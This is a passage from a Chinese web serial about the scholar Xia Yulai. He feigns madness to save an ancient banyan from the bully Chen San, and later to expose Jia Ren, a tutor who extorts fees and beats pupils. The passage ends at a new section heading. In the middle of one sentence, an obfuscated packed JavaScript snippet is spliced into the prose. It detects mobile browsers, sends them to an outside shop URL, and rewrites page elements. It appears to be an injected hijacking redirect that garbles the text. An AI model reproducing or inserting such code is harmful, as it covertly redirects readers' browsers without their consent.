众人循声望去,只见夏雨来披头散发,腰系红布条树枝,手里挥舞着野果项链,疯疯癫癫地冲了过来。他径直跑到老榕树下,一把抱住粗壮的树干,脸贴在树皮上,呜呜咽咽地哭了起来:“树保爷,我的亲爹啊!你可不能有事啊!有人要杀你,我来保护你!” 陈三皱了皱眉,认出这是上次戏耍他叔父陈老财的夏雨来,心里顿时生出几分厌恶:“哪里来的疯子?快给我赶走!别耽误老子砍树!” 家丁们连忙上前,想要拉开夏雨来。可夏雨来抱树干抱得死死的,一边躲闪一边哭喊:“不许碰我爹!你们这些坏人,要杀我爹,先杀了我!树保爷有灵,会保佑我的!” 他忽然站起身,指着陈三的鼻子,疯疯癫癫地骂道:“你这个黑心肠的坏蛋!我爹护了潮州城三百年,你竟然要砍它!你会遭报应的!你走路会摔跤,吃饭会噎着,睡觉会做噩梦,出门会被雷劈!” 周围的百姓们见状,都忍不住窃笑起来。“夏秀才骂得好!”“陈三就是该遭报应!” 陈三的脸色瞬间变得难看,他最忌讳别人说他遭报应 —— 毕竟他叔父陈老财刚因为作恶多端被抓入狱,他心里本就有些发虚。可他又不想在百姓面前丢了面子,只能强装镇定地喊道:“疯子胡言乱语!给我把他拖走,往死里打!” 两个家丁立刻上前,就要动手。这时,人群中忽然有人喊道:“陈三,你可不能打他!夏秀才这是被树神附了体,你打他,就是打树神,会遭更大的报应!” 说话的是村里的老巫师李伯,他平日里最敬重古树,此刻见夏雨来装疯护树,便顺势帮腔。百姓们也纷纷附和:“是啊!夏秀才肯定是被树神附了体!”“树神显灵了,警告我们不能砍树!” 陈三心里咯噔一下,眼神不由自主地瞟了一眼老榕树。只见古树的枝叶在秋风中轻轻摇晃,仿佛真的有灵性一般。他想起小时候,母亲也曾带他来认树保爷,祈求平安,心里顿时生出几分畏惧。 夏雨来见状,哭得更凶了:“树保爷,你看看他们,要杀你还要打我!我可怜的爹啊!你快显灵,让他们遭报应!” 他一边哭,一边从怀里掏出一把香,点燃后插在树下,“香烛敬给树保爷,保佑我打败这些坏蛋!” 家丁们见状,都犹豫着不敢上前。他们都是潮州城本地人,也都敬畏古树,心里害怕真的会遭报应。 陈三气得浑身发抖,却又无可奈何。他要是真的让人打了 “被树神附体” 的夏雨来,传出去不仅会被百姓们指责,还可能让自己心里不安。只能咬牙切齿地说道:“疯子!你给我等着!今天我先不砍树,看你能护它多久!” 说罢,陈三狠狠瞪了夏雨来一眼,带着家丁们悻悻地离开了。 百姓们见状,都松了一口气,纷纷围上来:“夏秀才,你真是太厉害了!几句话就把陈三给吓跑了!”“你这疯装得太像了,连陈三都被你唬住了!” 夏雨来偷偷抹掉脸上的 “泪水”,对着百姓们眨了眨眼,压低声音说道:“别急,陈三肯定不会善罢甘休,他还会再来的。我们得想个办法,让他彻底不敢打古树的主意。” 三、第二计:疯阻砍伐闹剧,显其神威 果然,不出夏雨来所料。第二天一早,陈三就带着更多的家丁来了,这次不仅有斧头锯子,还带来了几捆绳子和一架梯子。他显然是做足了准备,还特意请了一位据说能 “驱邪避灾” 的道士,想要破除所谓的 “树神” 之说。 “夏雨来,你要是识相,就赶紧滚开!” 陈三站在树下,对着依旧守在那里的夏雨来喊道,“我已经请了道长来驱邪,这棵树的邪气被驱散了,再也护不了你了!今天这树,我必须砍!” 那道士穿着一身道袍,手持桃木剑,装模作样地在树下比划了一番,嘴里念念有词:“此树久占阴地,已生邪气,今日我替天行道,驱散邪气,助陈公子砍伐此树,造福一方!” 百姓们见状,都十分着急。“这道士分明是被陈三收买了!”“夏秀才,怎么办啊?” 夏雨来却依旧疯疯癫癫,他绕着道士转了几圈,忽然一把抢过道士手里的桃木剑,扔在地上踩了几脚:“什么假道士,竟敢在这里胡说八道!我爹是树神,哪里来的邪气?你这是亵渎神明,会遭报应的!” 道士气得脸色发白,想要去捡桃木剑,却被夏雨来一把推开。夏雨来爬上梯子,坐在树枝上,手里扯着树叶,一边撒一边唱:“树神爷,威力大,妖魔鬼怪都怕它,假道士,黑心肠,敢来捣乱遭雷劈……” 陈三见状,怒吼道:“给我动手!不管这个疯子,直接砍树!” 家丁们拿起斧头,就要朝着树干砍去。就在这时,夏雨来忽然从树枝上跳了下来,一把抱住最前面那个家丁的腿,张嘴就咬:“不许砍我爹!我咬死你!” 那家丁疼得嗷嗷直叫,手里的斧头 “哐当” 一声掉在地上。其他家丁见状,都吓得不敢上前。 “疯子咬人啦!”“快拉开他!” 陈三气得眼睛都红了,亲自上前,想要拉开夏雨来。可夏雨来死死抱住家丁的腿不放,还对着陈三吐口水:“你这个坏蛋!我爹不会放过你的!你砍它一根枝,我咬你一口;你砍它一片叶,我咬你十口!” 周围的百姓们都看得哈哈大笑:“夏秀才太厉害了!咬得好!”“让陈三知道,树神的儿子不好惹!” 陈三又气又急,想要动手打夏雨来,却被道士拦住了:“陈公子,不可!这疯子既然自称是树神的儿子,你打他,就是打树神,万一真的遭报应就不好了!不如我们先把他绑起来,再砍树!” 陈三觉得道士说得有道理,便吩咐家丁:“好!把这个疯子绑起来,扔到一边去!” 家丁们拿出绳子,想要绑夏雨来。可夏雨来十分灵活,一边躲闪一边大喊:“树神爷,快显灵!保佑我打败这些坏蛋!” 他忽然跑到树下,捡起地上的香,点燃后扔向陈三带来的柴草堆。柴草堆瞬间燃起了小火苗,百姓们见状,都惊呼起来:“着火了!” 陈三吓得连忙吩咐家丁:“快救火!别让火蔓延到树上!” 他心里虽然想砍树,但也怕真的烧了古树,被百姓们指责得更厉害。 家丁们手忙脚乱地救火,哪里还顾得上绑夏雨来。夏雨来趁机跑到树旁,对着正在救火的家丁们喊道:“你们看!这就是树神爷显灵了!警告你们不许砍树!再敢放肆,大火会把你们都烧死!” 百姓们也纷纷附和:“是啊!这是树神显灵了!”“陈三,你快收手吧!不然真的会遭报应的!” 陈三看着燃起的火苗,又看着周围百姓们愤怒的目光,心里顿时生出几分畏惧。他想起叔父陈老财的下场,又想起刚才夏雨来疯疯癫癫的样子,心里不禁有些发毛:难道这棵树真的有灵?自己这么做,真的会遭报应? 道士也连忙说道:“陈公子,看来这树确实有灵,我们还是先撤吧!等日后再做打算!” 陈三犹豫了片刻,终于咬了咬牙:“好!今天算我倒霉!我们走!” 说罢,陈三带着家丁和道士,狼狈地离开了。临走前,他还不忘对着夏雨来吼道:“夏雨来,你给我等着!我不会就这么算了的!” 夏雨来站在树下,叉着腰哈哈大笑:“胆小鬼,跑啦!树保爷,我把坏蛋赶走了!” 百姓们纷纷围上来,对夏雨来赞不绝口:“夏秀才,你真是太机智了!”“要不是你,这棵古树今天就保不住了!” 夏雨来却依旧疯疯癫癫地说道:“不是我厉害,是我爹厉害!树保爷有灵,会保佑我们的!” 他知道,陈三虽然这次又被赶走了,但他肯定还会再来。要想彻底保住古树,必须找到陈三砍树的致命把柄,让他再也不敢打古树的主意。 四、第三计:疯揭背后阴谋,逼其认怂 陈三两次被夏雨来搅黄了砍树的计划,心里又气又恨。他回到陈府,左思右想,终于想出了一个主意:他要借着修建 “义仓” 的名义,向知府大人上书,说老榕树阻碍了义仓的修建,请求知府大人批准他砍伐古树。他觉得,有了官府的批准,百姓们就再也不敢阻拦,夏雨来的疯癫也无济于事。 几天后,知府大人果然派了一位师爷来到东门街,查看老榕树的情况。陈三得意洋洋地跟在师爷身后,对着古树指手画脚:“师爷,您看这棵树,长得又高又大,正好挡在修建义仓的地界上。义仓是为了救济百姓,造福一方,这棵树阻碍了义仓的修建,就是阻碍了百姓的生路,理应砍伐!” 百姓们见状,都十分着急。“陈三太狡猾了!竟然借着修建义仓的名义砍树!”“师爷,您可不能相信他的话!” 夏雨来依旧是疯疯癫癫的模样,他跑到师爷面前,“扑通” 一声跪倒在地,哭喊道:“大人,您可要为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446918|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我爹做主啊!这个坏蛋说谎!他根本不是想修建义仓,他是想砍了我爹,盖酒楼敛财!他是在骗您!” 师爷皱了皱眉,问道:“你是谁?这树怎么是你爹?” “我是树神的儿子!这树是我爹!” 夏雨来疯疯癫癫地说道,“大人,您别听他的!他说要修建义仓,都是骗人的!我昨晚听到他和管家说话,说要把我爹砍了,盖一座最大的酒楼,赚好多好多钱!他还说,知府大人是个糊涂蛋,很好骗!” “你胡说!” 陈三气得脸色惨白,连忙说道,“师爷,您别听这个疯子胡说八道!他是故意污蔑我!” “我没有胡说!” 夏雨来忽然站起身,从怀里掏出一张纸,递给师爷,“大人,这是我偷偷抄下来的他们的计划!上面写着要盖酒楼,还写着要怎么骗您!” 众人都愣住了,没想到夏雨来竟然还藏着这样的 “证据”。其实,这张纸是夏雨来早就准备好的,上面的内容都是他根据百姓们的议论推测出来的。 师爷接过纸,仔细看了看,脸色渐渐沉了下来。他早就听说陈三平日里嚣张跋扈,贪得无厌,如今看来,夏雨来说的恐怕是真的。 夏雨来见状,又跪在地上,哭喊道:“大人,您可要明察秋毫啊!我爹护了潮州城三百年,不能就这么被这个坏蛋砍了!要是您批准砍树,树神爷会生气的,会降灾给潮州城的!到时候洪水泛滥,百姓流离失所,您就是千古罪人!” 周围的百姓们也纷纷跪倒在地:“师爷,求您为百姓做主,保住古树!”“陈三是在欺骗官府,他根本不是想修建义仓!” 陈三吓得浑身发抖,连忙说道:“师爷,我没有!这都是这个疯子伪造的证据!您可不能相信他!” “是不是伪造的,一查便知!” 夏雨来忽然停止了哭泣,眼神清明地说道,“师爷,您可以派人去查陈三的账册,看看他最近有没有购买修建义仓的材料;您也可以问问周围的百姓,看看陈三是不是早就放出话来,要盖酒楼。我虽然疯疯癫癫,但我说的都是实话!” 师爷看着夏雨来坚定的眼神,又看了看周围百姓们恳切的目光,心里已经有了定论。他转头对陈三说道:“陈三,你涉嫌欺骗官府,意图砍伐古树盖酒楼敛财,本师爷现在就回府向知府大人禀报,对你严加查办!” 陈三吓得魂飞魄散,连忙跪倒在地:“师爷,我错了!我不该欺骗您!我再也不敢砍树了!求您饶了我这一次!” 夏雨来见状,又恢复了疯疯癫癫的模样,哈哈大笑道:“坏蛋认罪啦!树保爷,您听到了吗?坏蛋认罪啦!” 他跑到陈三面前,指着他的鼻子骂道:“你这个坏蛋,以后再敢打我爹的主意,我就告诉知府大人,把你也关进大牢,跟你叔父作伴!” 陈三连连点头:“不敢了!我再也不敢了!” 五、疯戏传全城,古树永长青 师爷回去后,立刻向知府大人禀报了事情的经过。知府大人得知陈三竟敢借着修建义仓的名义欺骗官府,意图砍伐古树敛财,十分愤怒,当即下令将陈三抓起来,罚银五百两,用于保护古树和修建真正的义仓。 陈三被押入大牢后,潮州城的百姓们都欢欣鼓舞。夏雨来装疯卖傻保护古树的故事,也迅速传遍了全城的大街小巷,成为了百姓们茶余饭后最热门的谈资。 “你们听说了吗?夏秀才又装疯了!这次是为了保护老榕树,把陈三耍得团团转!” “当然听说了!夏秀才抱着树干认爹,还咬了家丁,烧了柴草堆,最后还拿出了‘证据’,把陈三吓得当场认罪!” “真是太解气了!陈三想借着修建义仓的名义骗官府,没想到被夏秀才的疯癫戏给揭穿了!” “夏秀才太机智了!装疯卖傻不仅保护了古树,还惩治了恶徒,真是一举两得!” 阿翠的茶摊,依旧是百姓们谈论这件事的中心。每天都有不少百姓来这里喝茶,听阿翠详细讲述夏雨来装疯护树的经过,每次讲到精彩之处,都引来阵阵掌声和笑声。 这一天,老榕树下摆满了百姓们供奉的香烛、糕点和水果,百姓们还特意为古树系上了红布条,祈求古树永远枝繁叶茂,庇佑潮州城的百姓。夏雨来也来到了树下,穿着干净的青布长衫,恢复了往日温文尔雅的模样。 百姓们见状,都围了上来:“夏秀才,你这次装疯,真是太精彩了!”“你是怎么想到要认古树为爹的?” 夏雨来笑了笑,说道:“老榕树是潮州城的宝,是百姓们心中的神树,它护了我们三百年,我们自然要保护它。陈三之所以敢打古树的主意,就是因为他觉得百姓们的敬畏和官府的规矩都约束不了他。我装疯卖傻,一来是想让他放松警惕,二来是想借着‘神树有灵’的说法,戳中他内心的迷信和畏惧,让他不敢再放肆。” 他顿了顿,继续说道:“其实,真正保护古树的,不是我的疯癫戏,而是百姓们对古树的敬畏和团结一心。如果不是大家都站出来支持我,陈三也不会那么容易就认怂。古树是我们共同的财富,只有我们团结一心,才能保护好它,保护好我们潮州城的每一寸土地。” 老巫师李伯走上前,对着夏雨来拱手道:“夏秀才,你不仅有智谋,还有一颗为民的心。你装疯卖傻,看似荒唐,实则是大智慧。这棵古树,因为你而得以保全,百姓们都会感激你的!” 夏雨来连忙回礼:“李伯过奖了。我只是做了我该做的事情。古树有灵,更有百姓们的民心在护佑。只要我们坚守公道,团结一心,就没有什么能破坏我们的家园。” 百姓们纷纷鼓掌叫好:“说得好!坚守公道,团结一心!” 阿翠笑着说道:“夏秀才,百姓们都为你编了新的歌谣,你想听听吗?” 夏雨来点了点头:“当然想。” 阿翠清了清嗓子,唱道:“夏秀才,真英勇,装疯卖傻护古榕。认树为爹挡斧头,戳穿阴谋显神通,古树常青百姓乐,潮州城太平万年红!” 百姓们纷纷跟着合唱起来,歌声回荡在老榕树下,与树叶的沙沙声交织在一起,充满了欢乐和感激。 阳光透过古树的枝叶,洒下斑驳的光影,照在百姓们幸福的脸上。老榕树依旧枝繁叶茂,如同一把巨伞,护佑着潮州城的百姓,也见证着夏雨来的侠义传奇。 自此,夏雨来 “装疯卖傻护古榕” 的故事,成为了潮州城又一段不朽的佳话。百姓们将这个故事与之前戏耍陈老财的故事一起,代代相传,告诫后人:公道自在人心,团结就是力量,只要有勇气和智慧,就能战胜一切邪恶势力,保护好自己的家园。 而鬼才秀才夏雨来的名字,也永远与这棵百年古榕一起,深深烙印在潮州城百姓的心中,成为了正义与智慧的象征。 24. 私塾风波 一、市井安宁,学堂生乱 深秋的潮州城,寒意渐浓,东门街的青石板路被清晨的薄雾笼罩,沿街的店铺慢悠悠地敞开大门,铜铃摇晃的清脆声响与百姓的晨语交织,透着几分祥和。自陈三被押入大牢后,潮州城彻底没了恶徒作祟的阴霾,阿翠的茶摊依旧宾客满座,老榕树的枝叶虽染秋霜,却依旧苍劲挺拔,百姓们安居乐业,连孩童们的嬉闹声都比往日更显欢快。 可这份安宁,却被街角 “启蒙私塾” 的一阵哭喊声打破。这日辰时,夏雨来正坐在阿翠茶摊的角落,临摹古帖,忽然听到街北头传来孩童撕心裂肺的哭声,夹杂着棍棒抽打和严厉的呵斥:“哭什么哭!背书背不出来,就该打!你爹娘给的束脩不够,还敢偷懒耍滑!” 夏雨来握笔的手一顿,眉头微微皱起。这启蒙私塾是潮州城唯一的蒙学,先生姓贾,名仁,自称是 “前清秀才”,实则胸无点墨,靠着远房亲戚是县学教谕的关系,才开了这私塾。往日里,就有百姓私下议论,说贾仁教学敷衍,还总以各种名义乱收费,只是碍于 “读书识字” 的刚需,大家才敢怒不敢言。 “夏秀才,不好了!” 卖豆腐的张婶气喘吁吁地跑来,脸上满是焦急,“我家小宝被贾先生打了!就因为昨天的‘笔墨费’我没及时交,他就说小宝背书不用心,用戒尺抽了小宝的手心,打得通红,现在还在哭呢!” 阿翠也停下了斟茶的手,脸上满是愤慨:“这贾先生也太过分了!束脩每年五两银子已经不便宜了,上个月要‘取暖费’,这个月要‘笔墨费’,现在还因为没交费用就打孩子,这哪里是教书先生,分明是恶霸!” 正说着,又有几位百姓带着孩子赶来,孩子们的手心或多或少都有红肿的痕迹,有的还在默默流泪。“夏秀才,你可得为我们做主啊!” 一位老农抹着眼泪,“我家孙子,就因为把‘人之初’念成了‘人之本’,就被贾先生罚跪了半个时辰,还说要再加收一两‘纠错费’,不然就不让他上学了!” “是啊!” 另一位妇人说道,“我家孩子说,贾先生上课要么睡觉,要么就骂他们是‘蠢材’,根本不教正经学问,还总说‘有钱能使鬼推磨,束脩多的孩子,就能少挨打’!” 夏雨来放下毛笔,眼神渐渐凝重。他深知 “再穷不能穷教育” 的道理,百姓们省吃俭用,就是想让孩子识几个字,将来能有个出路,可这贾仁却借着教书的名义,敲诈勒索,虐待学童,简直是丧尽天良。 “贾仁这个人,爱慕虚荣,又贪财懦弱,” 夏雨来沉思片刻,嘴角勾起一抹熟悉的狡黠笑容,“对付他,硬拼容易打草惊蛇,讲道理他也不会听。不如我再装一次疯癫,借着‘孔圣人显灵’的由头,给他唱一出好戏,让他不仅不敢再乱收费、虐学童,还得乖乖退还搜刮的钱财,给孩子们赔罪!” “又装疯子?” 阿翠有些担忧,“这贾仁毕竟沾着县学的关系,要是得罪了他背后的人,怎么办?” “放心,” 夏雨来拍了拍阿翠的肩膀,“他那点关系,不过是狐假虎威。我就抓住他贪财又迷信的软肋,用疯癫的言行戳穿他的恶行,让他误以为真的触怒了孔圣人,再借着百姓的舆论和官府的规矩,让他彻底翻不了身。孩子们的公道,必须讨回来!” 说罢,夏雨来起身回屋,片刻后便换了一身行头 —— 这次不再是披头散发的 “神汉”,而是穿了一件洗得发白的儒衫,头发用一根木簪胡乱束起,手里拿着一本卷边的《论语》,一边走一边念念有词:“子曰:有教无类…… 子曰:己所不欲,勿施于人…… 怎么就有如此不肖之徒,玷污圣人之道……” 百姓们见状,都纷纷议论起来:“夏秀才这是怎么了?难道是读书读疯了?”“上回他装疯护古树,这次肯定是为了孩子们!”“不管怎么样,只要能教训贾仁那个坏蛋就行!” 夏雨来不理会众人的议论,径直朝着启蒙私塾走去。一场围绕私塾的疯癫大戏,即将拉开帷幕。 二、第一计:疯闹学堂,乱其收费局 启蒙私塾的院落里,贾仁正坐在太师椅上,一边嗑着瓜子,一边呵斥着面前的学童。他穿着一身油腻的绸缎长衫,肚子圆滚滚的,脸上挂着倨傲的神情,手里拿着戒尺,时不时地拍打着手心,威胁着不敢抬头的孩子们:“今天之内,所有人家的‘冬衣费’必须交齐,一两银子一户,少一文都不行!谁要是交不上,就给我滚出私塾,永远别想读书识字!” 学童们吓得瑟瑟发抖,有的孩子偷偷抹着眼泪,不敢出声。院落外,围满了闻讯赶来的家长,个个面带怒色,却又不敢上前 —— 贾仁之前放话说,谁要是敢闹事,就不让谁家孩子上学,大家只能忍气吞声。 “住手!” 一声疯疯癫癫的呼喊从院外传来,“圣人门下,岂容尔等巧取豪夺、虐待孩童!孔圣人显灵,派我来惩治你这不肖之徒!” 众人循声望去,只见夏雨来手持《论语》,头发散乱,眼神时而清明时而浑浊,疯疯癫癫地冲了进来。他径直跑到贾仁面前,举起《论语》指着他的鼻子,大声喊道:“贾仁!你可知罪?孔圣人曰:有教无类,你却以钱财分高低,束脩之外,巧立名目,收取‘取暖费’‘笔墨费’‘冬衣费’,敲诈百姓血汗钱,你对得起圣人教诲吗?” 贾仁被这突如其来的变故吓了一跳,定睛一看,认出是夏雨来,心里顿时生出几分厌恶和忌惮。他早就听说夏雨来智斗陈老财、保护老榕树的事情,知道这个人不好惹,可如今见他疯疯癫癫的样子,又觉得可笑:“哪里来的疯子?竟敢闯入我的私塾,胡言乱语!快给我赶出去!” 私塾里的杂役连忙上前,想要拉开夏雨来。可夏雨来灵活地一闪,躲开了杂役的手,反而一把抢过贾仁手里的戒尺,扔在地上踩了几脚:“这等凶器,也配出现在圣人学堂?你用它抽打学童,虐待孩童,简直是玷污圣人之道!孔圣人会惩罚你的!让你浑身长疮,不得好死!” 周围的家长们见状,都忍不住窃笑起来。“夏秀才骂得好!”“贾仁就是该遭报应!” 贾仁的脸色瞬间变得难看,他最忌讳别人说他 “玷污圣人”,毕竟他一直以 “前清秀才” 自居,靠的就是这层身份骗吃骗喝。可他又不想在家长们面前丢了面子,只能强装镇定地喊道:“疯子胡言乱语!我收取费用,是为了给孩子们改善学习环境,添置笔墨纸砚,哪里是敲诈勒索?你再敢胡说,我就报官抓你!” “报官?” 夏雨来哈哈大笑,笑得前仰后合,“好啊!你去报官!让官府来评评理,每年束脩五两银子,还要额外收取各种杂费,一户一年下来要交十几两,这是不是敲诈勒索?让官府来看看,这些孩子的手心,被你打得通红,这是不是虐待孩童?孔圣人曰:苛政猛于虎,你这劣师,比苛政还要凶狠!” 他一边说,一边拉过一个手心红肿的孩子,展示给周围的家长们看:“大家看看!这孩子才六岁,就因为没交‘冬衣费’,被他用戒尺抽了十下,手心都肿得像馒头一样!这哪里是教书,分明是行凶!” 家长们纷纷围上来,看着孩子们身上的伤痕,个个怒不可遏:“贾仁,你太过分了!”“我们交了那么多钱,你不仅不教孩子学问,还打孩子!”“快把我们交的杂费退回来!” 贾仁见状,心里有些发慌。他没想到夏雨来竟然这么能说,还把家长们都煽动起来了。他知道,要是事情闹大,传到县学教谕的耳朵里,他这私塾就开不下去了。 可他还是不想认怂,只能对着杂役喊道:“快!把这个疯子给我赶出去!再让他在这里胡言乱语,我饶不了你!” 杂役们连忙上前,想要抓住夏雨来。可夏雨来手持《论语》,一边躲闪一边唱道:“圣人书,记心间,劣师作恶必遭谴,乱收费,虐学童,天打雷劈命归西……” 他唱得朗朗上口,孩子们也跟着小声哼唱起来,气得贾仁浑身发抖,却又无可奈何。他要是真的动手打了 “疯子” 夏雨来,传出去会被人指责 “秀才打疯子”,更会玷污他 “前清秀才” 的名声。 “疯子!你给我等着!” 贾仁咬牙切齿地说道,“今天我暂且饶了你,你要是再敢来捣乱,我就对你不客气!” 说罢,贾仁狠狠瞪了夏雨来一眼,又对着家长们喊道:“今天的课就上到这里,‘冬衣费’明天必须交齐,不然就别让孩子来上学了!” 说完,贾仁灰溜溜地跑进了内堂,不敢再出来。 家长们见状,都松了一口气,纷纷围上来:“夏秀才,你真是太厉害了!几句话就把贾仁给吓跑了!”“你这疯装得太像了,连贾仁都被你唬住了!” 夏雨来偷偷抹了抹额头的 “冷汗”,对着家长们眨了眨眼,压低声音说道:“别急,贾仁肯定不会善罢甘休。他明天还会逼着大家交‘冬衣费’,甚至会变本加厉地虐待孩子。我们得想个办法,让他彻底不敢乱收费、虐学童。” 三、第二计:疯揭教学丑,戳其无才痛 果然,不出夏雨来所料。第二天一早,贾仁就带着两个身强力壮的杂役,在私塾门口设了一个 “收费处”,手里拿着账本,恶狠狠地对前来送孩子的家长们说道:“今天谁要是不交一两银子的‘冬衣费’,就别想让孩子进私塾大门!我贾仁说一不二,谁要是敢闹事,我就打断他的腿!” 家长们见状,都十分着急。“贾先生,能不能宽限几天?我们实在凑不齐银子了!” 一位老农苦苦哀求道。 “凑不齐?” 贾仁嗤笑一声,“凑不齐就别让孩子读书!读书是有钱人的事,没钱就回家放牛去!” 正说着,夏雨来疯疯癫癫地来了。他依旧手持《论语》,头发散乱,嘴里唱着:“圣人之道,在于育人,无才无德,不配为师……” 他径直走到收费处,一把抢过贾仁手里的账本,扔在地上踩了几脚:“什么破账本?都是你巧取豪夺的证据!孔圣人曰:君子爱财,取之有道,你这等小人,只会敲诈勒索,根本不配当先生!” 贾仁气得脸色铁青,指着夏雨来骂道:“疯子!你又来捣乱!我看你是活腻歪了!” “我不是疯子!” 夏雨来忽然收起疯癫的模样,眼神清明地说道,“我是孔圣人派来的使者,专门来惩治你这无才无德的劣师!贾仁,你敢说你真的懂圣人之道吗?我来考考你,《论语》开篇第一句是什么?” 贾仁愣了一下,他哪里记得《论语》开篇是什么?他平日里只会背几句 “人之初,性本善”,还是为了装样子。他支支吾吾地说道:“我…… 我当然知道!是…… 是‘学而时习之,不亦说乎’!” “哈哈哈哈!” 夏雨来哈哈大笑,“错!大错特错!《论语》开篇第一句是‘学而时习之,不亦说乎?有朋自远方来,不亦乐乎?人不知而不愠,不亦君子乎?’你连开篇都记不全,还敢自称‘前清秀才’,还敢教书育人?你这是误人子弟,罪该万死!” 周围的家长们也纷纷议论起来:“原来贾先生根本不懂《论语》!”“怪不得孩子们学了半年,连简单的诗句都不会背!”“他就是个骗子!” 贾仁的脸瞬间涨得通红,恼羞成怒地喊道:“我…… 我只是一时记错了!你一个疯子,懂什么学问!” “我懂的比你多!” 夏雨来拿起地上的《论语》,随手翻开一页,问道,“‘己所不欲,勿施于人’是什么意思?你给大家讲讲!” 贾仁又愣住了,他根本不知道这句话的意思,只能硬着头皮说道:“意思是…… 是自己不想要的,就不要给别人……” “放屁!” 夏雨来厉声呵斥,“这句话的真正含义是,自己不愿意做的事情,不要强加给别人!你自己不愿意被人敲诈勒索,却天天巧立名目收取杂费;你自己不愿意被人打骂,却天天用戒尺抽打学童,你这是完全违背了圣人之道!你这样的人,根本不配站在学堂里,更不配教书育人!” 他转头对着家长们说道:“大家想想,这样一个连《论语》都记不全、连圣人教诲都不懂的人,怎么能教好孩子?我们省吃俭用,花了那么多钱,不是让孩子来受气、挨打的,是想让孩子学到真正的学问!可这个贾仁,不仅不教孩子学问,还敲诈勒索,虐待孩童,我们不能再让他误人子弟了!” 家长们纷纷附和:“夏秀才说得对!我们不能再让贾仁教孩子了!”“把他赶出去!换一个真正有学问、有德行的先生!” 贾仁见状,心里越来越慌。他知道,要是家长们都联合起来反对他,他这私塾就真的开不下去了。可他还是不想认怂,只能对着杂役喊道:“快!把这个疯子给我绑起来!扔到城外去!” 杂役们连忙上前,想要抓住夏雨来。可夏雨来十分灵活,一边躲闪一边大喊:“孔圣人显灵!保佑我打败这个无才无德的劣师!” 他忽然跑到学堂门口的孔子牌位前,“扑通” 一声跪倒在地,哭喊道:“孔圣人啊!您看看您的后人,竟然如此无才无德,玷污您的教诲,虐待您的学子!求您显灵,惩罚这个劣师,还孩子们一个公道!” 家长们也纷纷跪倒在地,跟着喊道:“求孔圣人显灵,惩罚劣师!”“还孩子们一个公道!” 贾仁看着眼前的一幕,心里顿时生出几分畏惧。他虽然胸无点墨,但也十分迷信,害怕真的触怒了孔圣人,会遭报应。他想起自己昨晚做了一个噩梦,梦见孔圣人拿着戒尺抽打他,心里更是发毛。 “疯子!你…… 你别在这里装神弄鬼!” 贾仁的声音有些颤抖,“我…… 我今天暂且不收‘冬衣费’了,你快让大家起来!” 夏雨来见状,心里暗暗得意,却依旧哭喊道:“你不仅要停止收取杂费,还要把之前搜刮的钱财都退还给大家!还要给孩子们赔罪!不然,孔圣人不会放过你的!” 贾仁犹豫了片刻,终于咬了咬牙:“好!我…… 我答应你!我这就退还大家的杂费,给孩子们赔罪!” 四、第三计:疯证虐童实,逼其当众认 贾仁虽然答应了退还杂费、给孩子们赔罪,但心里却并不甘心。他觉得夏雨来只是个疯子,家长们也只是一时冲动,只要过了这阵子,他依旧可以继续开私塾,继续敲诈勒索。 可他没想到,夏雨来早就料到了这一点。当天下午,夏雨来就带着几位家长,找到了潮州城的知县大人,状告贾仁巧立名目、敲诈勒索、虐待学童。知县大人早就听说了贾仁的恶行,只是碍于县学教谕的面子,才一直没有过问。如今有了家长们的联名告状,还有夏雨来提供的 “证据”—— 孩子们身上的伤痕、贾仁收取杂费的账本(由一位良心未泯的杂役偷偷提供),知县大人当即决定,亲自去启蒙私塾查看情况。 第二天,知县大人带着师爷和官差,来到了启蒙私塾。贾仁见状,连忙上前讨好:“知县大人,您怎么来了?快请进!快请进!” 知县大人没有理会他的讨好,径直走进私塾,对着正在上课的孩子们说道:“孩子们,你们说实话,贾先生有没有打你们?有没有乱收你们的钱?” 孩子们吓得不敢说话,纷纷看向贾仁。贾仁恶狠狠地瞪着孩子们,威胁道:“谁要是敢胡说八道,我就打断他的腿!” 就在这时,夏雨来疯疯癫癫地冲了进来 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夏雨来疯疯癫癫地说道,“我这里有你收取杂费的账本,还有杂役的证词,你怎么还敢抵赖?孔圣人曰:知过能改,善莫大焉,你要是再敢狡辩,孔圣人会让你天打雷劈的!” 他从怀里掏出账本,递给知县大人:“大人,您看!这上面清清楚楚地记着,贾仁每个月都要收取各种杂费,一户一年下来要交十几两银子,比束脩还多!这不是敲诈勒索是什么?” 知县大人接过账本,仔细看了看,又看了看孩子们身上的伤痕和家长们提供的收据,脸色渐渐沉了下来。他转头对贾仁说道:“贾仁,证据确凿,你还有什么话好说?你身为私塾先生,不仅不教书育人,反而敲诈勒索,虐待学童,简直是丧尽天良!” 贾仁吓得 “扑通” 一声跪倒在地,连连磕头:“知县大人,我错了!我不该乱收费,不该打孩子!求您饶了我这一次!” “饶了你?” 夏雨来忽然停止了疯癫,眼神清明地说道,“你虐待学童,敲诈勒索,误人子弟,桩桩件件都不可饶恕!知县大人,学生恳请您,严惩贾仁,退还百姓钱财,吊销他的私塾执照,还潮州城学童一个干净的求学环境!” 家长们也纷纷跪倒在地:“求知县大人严惩贾仁!”“还孩子们一个公道!” 知县大人点了点头,说道:“好!本知县就依民意,判决如下:贾仁敲诈勒索百姓钱财,如数退还;虐待学童,杖责三十;吊销私塾执照,永远不得教书育人!官差,把他给我带下去,执行判决!” 官差们连忙上前,将贾仁拖了下去。贾仁一边被拖走,一边哭喊着:“我错了!我再也不敢了!求您饶了我!” 夏雨来见状,又恢复了疯疯癫癫的模样,哈哈大笑道:“坏蛋认罪啦!孔圣人显灵啦!孩子们有学上啦!” 他跑到孩子们面前,唱道:“圣人道,照四方,劣师被惩喜洋洋,学童读书不用怕,潮州城裡好学堂……” 孩子们纷纷跟着合唱起来,歌声回荡在私塾的院落里,充满了欢乐和喜悦。 五、疯戏传全城,学堂换新天 